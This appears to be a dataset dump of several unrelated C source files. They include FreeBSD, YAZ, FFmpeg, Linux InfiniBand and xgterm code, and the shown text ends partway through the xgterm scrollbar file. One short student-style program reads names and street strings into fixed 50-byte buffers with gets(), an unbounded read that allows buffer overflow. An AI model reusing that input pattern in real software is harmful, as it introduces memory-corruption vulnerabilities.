filename
stringlengths
3
9
code
stringlengths
4
2.03M
380409.c
/*- * Copyright (c) 2016 Chelsio Communications, Inc. * All rights reserved. * Written by: Navdeep Parhar <[email protected]> * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. */ #include <sys/cdefs.h> __FBSDID("$FreeBSD$"); #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> static int mod_event(module_t mod, int cmd, void *arg) { return (0); } static moduledata_t if_ccv_mod = {"if_ccv", mod_event}; DECLARE_MODULE(if_ccv, if_ccv_mod, SI_SUB_EXEC, SI_ORDER_ANY); MODULE_VERSION(if_ccv, 1); MODULE_DEPEND(if_ccv, ccv, 1, 1, 1);
121095.c
/* This file is part of the YAZ toolkit. * Copyright (C) Index Data * See the file LICENSE for details. */ /** * \file nmem.c * \brief Implements Nibble Memory * * This is a simple and fairly wasteful little module for nibble memory * allocation. * */ #if HAVE_CONFIG_H #include <config.h> #endif #include <assert.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <stddef.h> #include <yaz/xmalloc.h> #include <yaz/nmem.h> #include <yaz/log.h> #include <yaz/snprintf.h> #if YAZ_POSIX_THREADS #include <pthread.h> #endif #if YAZ_POSIX_THREADS static pthread_mutex_t nmem_mutex = PTHREAD_MUTEX_INITIALIZER; #endif static size_t no_nmem_handles = 0; static size_t no_nmem_blocks = 0; static size_t nmem_allocated = 0; #define NMEM_CHUNK (4*1024) struct nmem_block { char *buf; /* memory allocated in this block */ size_t size; /* size of buf */ size_t top; /* top of buffer */ struct nmem_block *next; }; struct nmem_control { size_t total; struct nmem_block *blocks; struct nmem_control *next; }; struct align { char x; union { char c; short s; int i; long l; #if HAVE_LONG_LONG long long ll; #endif float f; double d; } u; }; #define NMEM_ALIGN (offsetof(struct align, u)) static int log_level = 0; static int log_level_initialized = 0; static void nmem_lock(void) { #if YAZ_POSIX_THREADS pthread_mutex_lock(&nmem_mutex); #endif } static void nmem_unlock(void) { #if YAZ_POSIX_THREADS pthread_mutex_unlock(&nmem_mutex); #endif } static void free_block(struct nmem_block *p) { nmem_lock(); no_nmem_blocks--; nmem_allocated -= p->size; nmem_unlock(); xfree(p->buf); xfree(p); if (log_level) yaz_log(log_level, "nmem free_block p=%p", p); } /* * acquire a block with a minimum of size free bytes. */ static struct nmem_block *get_block(size_t size) { struct nmem_block *r; size_t get = NMEM_CHUNK; if (log_level) yaz_log(log_level, "nmem get_block size=%ld", (long) size); if (get < size) get = size; if (log_level) yaz_log(log_level, "nmem get_block alloc new block size=%ld", (long) get); r = (struct nmem_block *) xmalloc(sizeof(*r)); r->buf = (char *)xmalloc(r->size = get); r->top = 0; nmem_lock(); no_nmem_blocks++; nmem_allocated += r->size; nmem_unlock(); return r; } void nmem_reset(NMEM n) { struct nmem_block *t; yaz_log(log_level, "nmem_reset p=%p", n); if (!n) return; while (n->blocks) { t = n->blocks; n->blocks = n->blocks->next; free_block(t); } n->total = 0; } void *nmem_malloc(NMEM n, size_t size) { struct nmem_block *p; char *r; if (!n) { yaz_log(YLOG_FATAL, "calling nmem_malloc with an null pointer"); abort(); } p = n->blocks; if (!p || p->size < size + p->top) { p = get_block(size); p->next = n->blocks; n->blocks = p; } r = p->buf + p->top; /* align size */ p->top += (size + (NMEM_ALIGN - 1)) & ~(NMEM_ALIGN - 1); n->total += size; return r; } size_t nmem_total(NMEM n) { return n->total; } void nmem_init_globals(void) { #if YAZ_POSIX_THREADS pthread_atfork(nmem_lock, nmem_unlock, nmem_unlock); #endif } NMEM nmem_create(void) { NMEM r; nmem_lock(); no_nmem_handles++; nmem_unlock(); if (!log_level_initialized) { /* below will call nmem_init_globals once */ log_level = yaz_log_module_level("nmem"); log_level_initialized = 1; } r = (struct nmem_control *)xmalloc(sizeof(*r)); r->blocks = 0; r->total = 0; r->next = 0; return r; } void nmem_destroy(NMEM n) { if (!n) return; nmem_reset(n); xfree(n); nmem_lock(); no_nmem_handles--; nmem_unlock(); } void nmem_transfer(NMEM dst, NMEM src) { struct nmem_block *t; while ((t = src->blocks)) { src->blocks = t->next; t->next = dst->blocks; dst->blocks = t; } dst->total += src->total; src->total = 0; } int nmem_get_status(char *dst, size_t l) { size_t handles, blocks, allocated; nmem_lock(); handles = no_nmem_handles; blocks = no_nmem_blocks; allocated = nmem_allocated; nmem_unlock(); yaz_snprintf(dst, l, "<nmem>\n" " <handles>%zd</handles>\n" " <blocks>%zd</blocks>\n" " <allocated>%zd</allocated>\n" "</nmem>\n", handles, blocks, allocated); return 0; } /* * Local variables: * c-basic-offset: 4 * c-file-style: "Stroustrup" * indent-tabs-mode: nil * End: * vim: shiftwidth=4 tabstop=8 expandtab */
566631.c
#include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct endereco{ char rua[50]; int numero; }endereco; typedef struct cadastro{ char nome[50]; int idade; endereco ender; }cadastro; int main(int argc, char const *argv[]) { cadastro c; gets(c.nome); scanf("%d", &c.idade); gets(c.ender.rua); scanf("%d", &c.ender.numero); return 0; }
11641.c
/* * Copyright (c) 2012 Clément Bœsch <[email protected]> * * This file is part of FFmpeg. * * FFmpeg is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * FFmpeg is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with FFmpeg; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ /** * @file * Audio silence detector */ #include <float.h> /* DBL_MAX */ #include "libavutil/channel_layout.h" #include "libavutil/opt.h" #include "libavutil/timestamp.h" #include "audio.h" #include "formats.h" #include "avfilter.h" #include "internal.h" typedef struct { const AVClass *class; double noise; ///< noise amplitude ratio double duration; ///< minimum duration of silence until notification int64_t nb_null_samples; ///< current number of continuous zero samples int64_t start; ///< if silence is detected, this value contains the time of the first zero sample int last_sample_rate; ///< last sample rate to check for sample rate changes } SilenceDetectContext; #define OFFSET(x) offsetof(SilenceDetectContext, x) #define FLAGS AV_OPT_FLAG_FILTERING_PARAM|AV_OPT_FLAG_AUDIO_PARAM static const AVOption silencedetect_options[] = { { "n", "set noise tolerance", OFFSET(noise), AV_OPT_TYPE_DOUBLE, {.dbl=0.001}, 0, DBL_MAX, FLAGS }, { "noise", "set noise tolerance", OFFSET(noise), AV_OPT_TYPE_DOUBLE, {.dbl=0.001}, 0, DBL_MAX, FLAGS }, { "d", "set minimum duration in seconds", OFFSET(duration), AV_OPT_TYPE_DOUBLE, {.dbl=2.}, 0, 24*60*60, FLAGS }, { "duration", "set minimum duration in seconds", OFFSET(duration), AV_OPT_TYPE_DOUBLE, {.dbl=2.}, 0, 24*60*60, FLAGS }, { NULL }, }; AVFILTER_DEFINE_CLASS(silencedetect); static char *get_metadata_val(AVFrame *insamples, const char *key) { AVDictionaryEntry *e = av_dict_get(insamples->metadata, key, NULL, 0); return e && e->value ? e->value : NULL; } static int filter_frame(AVFilterLink *inlink, AVFrame *insamples) { int i; SilenceDetectContext *silence = inlink->dst->priv; const int nb_channels = av_get_channel_layout_nb_channels(inlink->channel_layout); const int srate = inlink->sample_rate; const int nb_samples = insamples->nb_samples * nb_channels; const int64_t nb_samples_notify = srate * silence->duration * nb_channels; // scale number of null samples to the new sample rate if (silence->last_sample_rate && silence->last_sample_rate != srate) silence->nb_null_samples = srate * silence->nb_null_samples / silence->last_sample_rate; silence->last_sample_rate = srate; // TODO: support more sample formats // TODO: document metadata if (insamples->format == AV_SAMPLE_FMT_DBL) { double *p = (double *)insamples->data[0]; for (i = 0; i < nb_samples; i++, p++) { if (*p < silence->noise && *p > -silence->noise) { if (!silence->start) { silence->nb_null_samples++; if (silence->nb_null_samples >= nb_samples_notify) { silence->start = insamples->pts - (int64_t)(silence->duration / av_q2d(inlink->time_base) + .5); av_dict_set(&insamples->metadata, "lavfi.silence_start", av_ts2timestr(silence->start, &inlink->time_base), 0); av_log(silence, AV_LOG_INFO, "silence_start: %s\n", get_metadata_val(insamples, "lavfi.silence_start")); } } } else { if (silence->start) { av_dict_set(&insamples->metadata, "lavfi.silence_end", av_ts2timestr(insamples->pts, &inlink->time_base), 0); av_dict_set(&insamples->metadata, "lavfi.silence_duration", av_ts2timestr(insamples->pts - silence->start, &inlink->time_base), 0); av_log(silence, AV_LOG_INFO, "silence_end: %s | silence_duration: %s\n", get_metadata_val(insamples, "lavfi.silence_end"), get_metadata_val(insamples, "lavfi.silence_duration")); } silence->nb_null_samples = silence->start = 0; } } } return ff_filter_frame(inlink->dst->outputs[0], insamples); } static int query_formats(AVFilterContext *ctx) { AVFilterFormats *formats = NULL; AVFilterChannelLayouts *layouts = NULL; static const enum AVSampleFormat sample_fmts[] = { AV_SAMPLE_FMT_DBL, AV_SAMPLE_FMT_NONE }; layouts = ff_all_channel_layouts(); if (!layouts) return AVERROR(ENOMEM); ff_set_common_channel_layouts(ctx, layouts); formats = ff_make_format_list(sample_fmts); if (!formats) return AVERROR(ENOMEM); ff_set_common_formats(ctx, formats); formats = ff_all_samplerates(); if (!formats) return AVERROR(ENOMEM); ff_set_common_samplerates(ctx, formats); return 0; } static const AVFilterPad silencedetect_inputs[] = { { .name = "default", .type = AVMEDIA_TYPE_AUDIO, .get_audio_buffer = ff_null_get_audio_buffer, .filter_frame = filter_frame, }, { NULL } }; static const AVFilterPad silencedetect_outputs[] = { { .name = "default", .type = AVMEDIA_TYPE_AUDIO, }, { NULL } }; AVFilter avfilter_af_silencedetect = { .name = "silencedetect", .description = NULL_IF_CONFIG_SMALL("Detect silence."), .priv_size = sizeof(SilenceDetectContext), .query_formats = query_formats, .inputs = silencedetect_inputs, .outputs = silencedetect_outputs, .priv_class = &silencedetect_class, };
36107.c
/* * Copyright (c) 2004 Topspin Communications. All rights reserved. * Copyright (c) 2005 Sun Microsystems, Inc. All rights reserved. * * This software is available to you under a choice of one of two * licenses. You may choose to be licensed under the terms of the GNU * General Public License (GPL) Version 2, available from the file * COPYING in the main directory of this source tree, or the * OpenIB.org BSD license below: * * Redistribution and use in source and binary forms, with or * without modification, are permitted provided that the following * conditions are met: * * - Redistributions of source code must retain the above * copyright notice, this list of conditions and the following * disclaimer. * * - Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following * disclaimer in the documentation and/or other materials * provided with the distribution. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. * * $Id: fmr_pool.c 2730 2005-06-28 16:43:03Z sean.hefty $ */ #include <linux/errno.h> #include <linux/spinlock.h> #include <linux/slab.h> #include <linux/jhash.h> #include <linux/kthread.h> #include <rdma/ib_fmr_pool.h> #include "core_priv.h" #define PFX "fmr_pool: " enum { IB_FMR_MAX_REMAPS = 32, IB_FMR_HASH_BITS = 8, IB_FMR_HASH_SIZE = 1 << IB_FMR_HASH_BITS, IB_FMR_HASH_MASK = IB_FMR_HASH_SIZE - 1 }; /* * If an FMR is not in use, then the list member will point to either * its pool's free_list (if the FMR can be mapped again; that is, * remap_count < pool->max_remaps) or its pool's dirty_list (if the * FMR needs to be unmapped before being remapped). In either of * these cases it is a bug if the ref_count is not 0. In other words, * if ref_count is > 0, then the list member must not be linked into * either free_list or dirty_list. * * The cache_node member is used to link the FMR into a cache bucket * (if caching is enabled). This is independent of the reference * count of the FMR. When a valid FMR is released, its ref_count is * decremented, and if ref_count reaches 0, the FMR is placed in * either free_list or dirty_list as appropriate. However, it is not * removed from the cache and may be "revived" if a call to * ib_fmr_register_physical() occurs before the FMR is remapped. In * this case we just increment the ref_count and remove the FMR from * free_list/dirty_list. * * Before we remap an FMR from free_list, we remove it from the cache * (to prevent another user from obtaining a stale FMR). When an FMR * is released, we add it to the tail of the free list, so that our * cache eviction policy is "least recently used." * * All manipulation of ref_count, list and cache_node is protected by * pool_lock to maintain consistency. */ struct ib_fmr_pool { spinlock_t pool_lock; int pool_size; int max_pages; int max_remaps; int dirty_watermark; int dirty_len; struct list_head free_list; struct list_head dirty_list; struct hlist_head *cache_bucket; void (*flush_function)(struct ib_fmr_pool *pool, void * arg); void *flush_arg; struct task_struct *thread; atomic_t req_ser; atomic_t flush_ser; wait_queue_head_t force_wait; }; static inline u32 ib_fmr_hash(u64 first_page) { return jhash_2words((u32) first_page, (u32) (first_page >> 32), 0) & (IB_FMR_HASH_SIZE - 1); } /* Caller must hold pool_lock */ static inline struct ib_pool_fmr *ib_fmr_cache_lookup(struct ib_fmr_pool *pool, u64 *page_list, int page_list_len, u64 io_virtual_address) { struct hlist_head *bucket; struct ib_pool_fmr *fmr; struct hlist_node *pos; if (!pool->cache_bucket) return NULL; bucket = pool->cache_bucket + ib_fmr_hash(*page_list); hlist_for_each_entry(fmr, pos, bucket, cache_node) if (io_virtual_address == fmr->io_virtual_address && page_list_len == fmr->page_list_len && !memcmp(page_list, fmr->page_list, page_list_len * sizeof *page_list)) return fmr; return NULL; } static void ib_fmr_batch_release(struct ib_fmr_pool *pool) { int ret; struct ib_pool_fmr *fmr; LIST_HEAD(unmap_list); LIST_HEAD(fmr_list); spin_lock_irq(&pool->pool_lock); list_for_each_entry(fmr, &pool->dirty_list, list) { hlist_del_init(&fmr->cache_node); fmr->remap_count = 0; list_add_tail(&fmr->fmr->list, &fmr_list); #ifdef DEBUG if (fmr->ref_count !=0) { printk(KERN_WARNING PFX "Unmapping FMR 0x%08x with ref count %d", fmr, fmr->ref_count); } #endif } list_splice(&pool->dirty_list, &unmap_list); INIT_LIST_HEAD(&pool->dirty_list); pool->dirty_len = 0; spin_unlock_irq(&pool->pool_lock); if (list_empty(&unmap_list)) { return; } ret = ib_unmap_fmr(&fmr_list); if (ret) printk(KERN_WARNING PFX "ib_unmap_fmr returned %d", ret); spin_lock_irq(&pool->pool_lock); list_splice(&unmap_list, &pool->free_list); spin_unlock_irq(&pool->pool_lock); } static int ib_fmr_cleanup_thread(void *pool_ptr) { struct ib_fmr_pool *pool = pool_ptr; do { if (pool->dirty_len >= pool->dirty_watermark || atomic_read(&pool->flush_ser) - atomic_read(&pool->req_ser) < 0) { ib_fmr_batch_release(pool); atomic_inc(&pool->flush_ser); wake_up_interruptible(&pool->force_wait); if (pool->flush_function) pool->flush_function(pool, pool->flush_arg); } set_current_state(TASK_INTERRUPTIBLE); if (pool->dirty_len < pool->dirty_watermark && atomic_read(&pool->flush_ser) - atomic_read(&pool->req_ser) >= 0 && !kthread_should_stop()) schedule(); __set_current_state(TASK_RUNNING); } while (!kthread_should_stop()); return 0; } /** * ib_create_fmr_pool - Create an FMR pool * @pd:Protection domain for FMRs * @params:FMR pool parameters * * Create a pool of FMRs. Return value is pointer to new pool or * error code if creation failed. */ struct ib_fmr_pool *ib_create_fmr_pool(struct ib_pd *pd, struct ib_fmr_pool_param *params) { struct ib_device *device; struct ib_fmr_pool *pool; struct ib_device_attr *attr; int i; int ret; int max_remaps; if (!params) return ERR_PTR(-EINVAL); device = pd->device; if (!device->alloc_fmr || !device->dealloc_fmr || !device->map_phys_fmr || !device->unmap_fmr) { printk(KERN_INFO PFX "Device %s does not support FMRs\n", device->name); return ERR_PTR(-ENOSYS); } attr = kmalloc(sizeof *attr, GFP_KERNEL); if (!attr) { printk(KERN_WARNING PFX "couldn't allocate device attr struct"); return ERR_PTR(-ENOMEM); } ret = ib_query_device(device, attr); if (ret) { printk(KERN_WARNING PFX "couldn't query device: %d", ret); kfree(attr); return ERR_PTR(ret); } if (!attr->max_map_per_fmr) max_remaps = IB_FMR_MAX_REMAPS; else max_remaps = attr->max_map_per_fmr; kfree(attr); pool = kmalloc(sizeof *pool, GFP_KERNEL); if (!pool) { printk(KERN_WARNING PFX "couldn't allocate pool struct"); return ERR_PTR(-ENOMEM); } pool->cache_bucket = NULL; pool->flush_function = params->flush_function; pool->flush_arg = params->flush_arg; INIT_LIST_HEAD(&pool->free_list); INIT_LIST_HEAD(&pool->dirty_list); if (params->cache) { pool->cache_bucket = kmalloc(IB_FMR_HASH_SIZE * sizeof *pool->cache_bucket, GFP_KERNEL); if (!pool->cache_bucket) { printk(KERN_WARNING PFX "Failed to allocate cache in pool"); ret = -ENOMEM; goto out_free_pool; } for (i = 0; i < IB_FMR_HASH_SIZE; ++i) INIT_HLIST_HEAD(pool->cache_bucket + i); } pool->pool_size = 0; pool->max_pages = params->max_pages_per_fmr; pool->max_remaps = max_remaps; pool->dirty_watermark = params->dirty_watermark; pool->dirty_len = 0; spin_lock_init(&pool->pool_lock); atomic_set(&pool->req_ser, 0); atomic_set(&pool->flush_ser, 0); init_waitqueue_head(&pool->force_wait); pool->thread = kthread_create(ib_fmr_cleanup_thread, pool, "ib_fmr(%s)", device->name); if (IS_ERR(pool->thread)) { printk(KERN_WARNING PFX "couldn't start cleanup thread"); ret = PTR_ERR(pool->thread); goto out_free_pool; } { struct ib_pool_fmr *fmr; struct ib_fmr_attr fmr_attr = { .max_pages = params->max_pages_per_fmr, .max_maps = pool->max_remaps, .page_shift = params->page_shift }; for (i = 0; i < params->pool_size; ++i) { fmr = kmalloc(sizeof *fmr + params->max_pages_per_fmr * sizeof (u64), GFP_KERNEL); if (!fmr) { printk(KERN_WARNING PFX "failed to allocate fmr " "struct for FMR %d", i); goto out_fail; } fmr->pool = pool; fmr->remap_count = 0; fmr->ref_count = 0; INIT_HLIST_NODE(&fmr->cache_node); fmr->fmr = ib_alloc_fmr(pd, params->access, &fmr_attr); if (IS_ERR(fmr->fmr)) { printk(KERN_WARNING PFX "fmr_create failed " "for FMR %d", i); kfree(fmr); goto out_fail; } list_add_tail(&fmr->list, &pool->free_list); ++pool->pool_size; } } return pool; out_free_pool: kfree(pool->cache_bucket); kfree(pool); return ERR_PTR(ret); out_fail: ib_destroy_fmr_pool(pool); return ERR_PTR(-ENOMEM); } EXPORT_SYMBOL(ib_create_fmr_pool); /** * ib_destroy_fmr_pool - Free FMR pool * @pool:FMR pool to free * * Destroy an FMR pool and free all associated resources. */ void ib_destroy_fmr_pool(struct ib_fmr_pool *pool) { struct ib_pool_fmr *fmr; struct ib_pool_fmr *tmp; LIST_HEAD(fmr_list); int i; kthread_stop(pool->thread); ib_fmr_batch_release(pool); i = 0; list_for_each_entry_safe(fmr, tmp, &pool->free_list, list) { if (fmr->remap_count) { INIT_LIST_HEAD(&fmr_list); list_add_tail(&fmr->fmr->list, &fmr_list); ib_unmap_fmr(&fmr_list); } ib_dealloc_fmr(fmr->fmr); list_del(&fmr->list); kfree(fmr); ++i; } if (i < pool->pool_size) printk(KERN_WARNING PFX "pool still has %d regions registered", pool->pool_size - i); kfree(pool->cache_bucket); kfree(pool); } EXPORT_SYMBOL(ib_destroy_fmr_pool); /** * ib_flush_fmr_pool - Invalidate all unmapped FMRs * @pool:FMR pool to flush * * Ensure that all unmapped FMRs are fully invalidated. */ int ib_flush_fmr_pool(struct ib_fmr_pool *pool) { int serial = atomic_inc_return(&pool->req_ser); wake_up_process(pool->thread); if (wait_event_interruptible(pool->force_wait, atomic_read(&pool->flush_ser) - serial >= 0)) return -EINTR; return 0; } EXPORT_SYMBOL(ib_flush_fmr_pool); /** * ib_fmr_pool_map_phys - * @pool:FMR pool to allocate FMR from * @page_list:List of pages to map * @list_len:Number of pages in @page_list * @io_virtual_address:I/O virtual address for new FMR * * Map an FMR from an FMR pool. */ struct ib_pool_fmr *ib_fmr_pool_map_phys(struct ib_fmr_pool *pool_handle, u64 *page_list, int list_len, u64 io_virtual_address) { struct ib_fmr_pool *pool = pool_handle; struct ib_pool_fmr *fmr; unsigned long flags; int result; if (list_len < 1 || list_len > pool->max_pages) return ERR_PTR(-EINVAL); spin_lock_irqsave(&pool->pool_lock, flags); fmr = ib_fmr_cache_lookup(pool, page_list, list_len, io_virtual_address); if (fmr) { /* found in cache */ ++fmr->ref_count; if (fmr->ref_count == 1) { list_del(&fmr->list); } spin_unlock_irqrestore(&pool->pool_lock, flags); return fmr; } if (list_empty(&pool->free_list)) { spin_unlock_irqrestore(&pool->pool_lock, flags); return ERR_PTR(-EAGAIN); } fmr = list_entry(pool->free_list.next, struct ib_pool_fmr, list); list_del(&fmr->list); hlist_del_init(&fmr->cache_node); spin_unlock_irqrestore(&pool->pool_lock, flags); result = ib_map_phys_fmr(fmr->fmr, page_list, list_len, io_virtual_address); if (result) { spin_lock_irqsave(&pool->pool_lock, flags); list_add(&fmr->list, &pool->free_list); spin_unlock_irqrestore(&pool->pool_lock, flags); printk(KERN_WARNING PFX "fmr_map returns %d\n", result); return ERR_PTR(result); } ++fmr->remap_count; fmr->ref_count = 1; if (pool->cache_bucket) { fmr->io_virtual_address = io_virtual_address; fmr->page_list_len = list_len; memcpy(fmr->page_list, page_list, list_len * sizeof(*page_list)); spin_lock_irqsave(&pool->pool_lock, flags); hlist_add_head(&fmr->cache_node, pool->cache_bucket + ib_fmr_hash(fmr->page_list[0])); spin_unlock_irqrestore(&pool->pool_lock, flags); } return fmr; } EXPORT_SYMBOL(ib_fmr_pool_map_phys); /** * ib_fmr_pool_unmap - Unmap FMR * @fmr:FMR to unmap * * Unmap an FMR. The FMR mapping may remain valid until the FMR is * reused (or until ib_flush_fmr_pool() is called). */ int ib_fmr_pool_unmap(struct ib_pool_fmr *fmr) { struct ib_fmr_pool *pool; unsigned long flags; pool = fmr->pool; spin_lock_irqsave(&pool->pool_lock, flags); --fmr->ref_count; if (!fmr->ref_count) { if (fmr->remap_count < pool->max_remaps) { list_add_tail(&fmr->list, &pool->free_list); } else { list_add_tail(&fmr->list, &pool->dirty_list); ++pool->dirty_len; wake_up_process(pool->thread); } } #ifdef DEBUG if (fmr->ref_count < 0) printk(KERN_WARNING PFX "FMR %p has ref count %d < 0", fmr, fmr->ref_count); #endif spin_unlock_irqrestore(&pool->pool_lock, flags); return 0; } EXPORT_SYMBOL(ib_fmr_pool_unmap);
541177.c
/* * $XConsortium: scrollbar.c,v 1.44 94/04/02 12:42:01 gildea Exp $ */ /* * Copyright 1987 by Digital Equipment Corporation, Maynard, Massachusetts. * * All Rights Reserved * * Permission to use, copy, modify, and distribute this software and its * documentation for any purpose and without fee is hereby granted, * provided that the above copyright notice appear in all copies and that * both that copyright notice and this permission notice appear in * supporting documentation, and that the name of Digital Equipment * Corporation not be used in advertising or publicity pertaining to * distribution of the software without specific, written prior permission. * * * DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING * ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL * DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR * ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, * WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, * ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS * SOFTWARE. */ #include "ptyx.h" /* gets Xt headers, too */ #include <stdio.h> #include <ctype.h> #include <X11/Xatom.h> #include <X11/StringDefs.h> #include <X11/Shell.h> #include <X11/Xaw/Scrollbar.h> #include "data.h" #include "error.h" #include "menu.h" /* Event handlers */ static void ScrollTextTo(); static void ScrollTextUpDownBy(); /* resize the text window for a terminal screen, modifying the * appropriate WM_SIZE_HINTS and taking advantage of bit gravity. */ static void ResizeScreen(xw, min_width, min_height ) register XgtermWidget xw; int min_width, min_height; { register TScreen *screen = &xw->screen; #ifndef nothack XSizeHints sizehints; long supp; #endif XtGeometryResult geomreqresult; Dimension reqWidth, reqHeight, repWidth, repHeight; /* * I'm going to try to explain, as I understand it, why we * have to do XGetWMNormalHints and XSetWMNormalHints here, * although I can't guarantee that I've got it right. * * In a correctly written toolkit program, the Shell widget * parses the user supplied geometry argument. However, * because of the way xgterm does things, the VT100 widget does * the parsing of the geometry option, not the Shell widget. * The result of this is that the Shell widget doesn't set the * correct window manager hints, and doesn't know that the * user has specified a geometry. * * The XtVaSetValues call below tells the Shell widget to * change its hints. However, since it's confused about the * hints to begin with, it doesn't get them all right when it * does the SetValues -- it undoes some of what the VT100 * widget did when it originally set the hints. * * To fix this, we do the following: * * 1. Get the sizehints directly from the window, going around * the (confused) shell widget. * 2. Call XtVaSetValues to let the shell widget know which * hints have changed. Note that this may not even be * necessary, since we're going to right ahead after that * and set the hints ourselves, but it's good to put it * here anyway, so that when we finally do fix the code so * that the Shell does the right thing with hints, we * already have the XtVaSetValues in place. * 3. We set the sizehints directly, this fixing up whatever * damage was done by the Shell widget during the * XtVaSetValues. * * Gross, huh? * * The correct fix is to redo VTRealize, VTInitialize and * VTSetValues so that font processing happens early enough to * give back responsibility for the size hints to the Shell. * * Someday, we hope to have time to do this. Someday, we hope * to have time to completely rewrite xgterm. */ #ifndef nothack /* * NOTE: If you change the way any of the hints are calculated * below, make sure you change the calculation both in the * sizehints assignments and in the XtVaSetValues. */ if (! XGetWMNormalHints(screen->display, XtWindow(XtParent(xw)), &sizehints, &supp)) sizehints.flags = 0; sizehints.base_width = min_width; sizehints.base_height = min_height; sizehints.width_inc = FontWidth(screen); sizehints.height_inc = FontHeight(screen); sizehints.min_width = sizehints.base_width + sizehints.width_inc; sizehints.min_height = sizehints.base_height + sizehints.height_inc; sizehints.flags |= (PBaseSize|PMinSize|PResizeInc); /* These are obsolete, but old clients may use them */ sizehints.width = (screen->max_col + 1) * FontWidth(screen) + min_width; sizehints.height = (screen->max_row + 1) * FontHeight(screen) + min_height; #endif /* * Note: width and height are not set here because they are * obsolete. */ XtVaSetValues(XtParent(xw), XtNbaseWidth, min_width, XtNbaseHeight, min_height, XtNwidthInc, FontWidth(screen), XtNheightInc, FontHeight(screen), XtNminWidth, min_width + FontWidth(screen), XtNminHeight, min_height + FontHeight(screen), NULL); reqWidth = (screen->max_col + 1) * FontWidth(screen) + min_width; reqHeight = FontHeight(screen) * (screen->max_row + 1) + min_height; geomreqresult = XtMakeResizeRequest ((Widget)xw, reqWidth, reqHeight, &repWidth, &repHeight); if (geomreqresult == XtGeometryAlmost) { geomreqresult = XtMakeResizeRequest ((Widget)xw, repWidth, repHeight, NULL, NULL); } #ifndef nothack XSetWMNormalHints(screen->display, XtWindow(XtParent(xw)), &sizehints); #endif } void DoResizeScreen (xw) register XgtermWidget xw; { int border = 2 * xw->screen.border; ResizeScreen (xw, border + xw->screen.scrollbar, border); } static Widget CreateScrollBar(xw, x, y, height) XgtermWidget xw; int x, y, height; { Widget scrollWidget; static Arg argList[] = { {XtNx, (XtArgVal) 0}, {XtNy, (XtArgVal) 0}, {XtNheight, (XtArgVal) 0}, {XtNreverseVideo, (XtArgVal) 0}, {XtNorientation, (XtArgVal) XtorientVertical}, {XtNborderWidth, (XtArgVal) 1}, }; argList[0].value = (XtArgVal) x; argList[1].value = (XtArgVal) y; argList[2].value = (XtArgVal) height; argList[3].value = (XtArgVal) xw->misc.re_verse; scrollWidget = XtCreateWidget("scrollbar", scrollbarWidgetClass, (Widget)xw, argList, XtNumber(argList)); XtAddCallback (scrollWidget, XtNscrollProc, ScrollTextUpDownBy, 0); XtAddCallback (scrollWidget, XtNjumpProc, ScrollTextTo, 0); return (scrollWidget); } static void RealizeScrollBar (sbw, screen) Widget sbw; TScreen *screen; { XtRealizeWidget (sbw); } ScrollBarReverseVideo(scrollWidget) register Widget scrollWidget; { Arg args[4]; int nargs = XtNumber(args); unsigned long bg, fg, bdr; Pixmap bdpix; XtSetArg(args[0], XtNbackground, &bg); XtSetArg(args[1], XtNforeground, &fg); XtSetArg(args[2], XtNborderColor, &bdr); XtSetArg(args[3], XtNborderPixmap, &bdpix); XtGetValues (scrollWidget, args, nargs); args[0].value = (XtArgVal) fg; args[1].value = (XtArgVal) bg; nargs--; /* don't set border_pixmap */ if (bdpix == XtUnspecifiedPixmap) { /* if not pixmap then pixel */ args[2].value = args[1].value; /* set border to new fg */ } else { /* 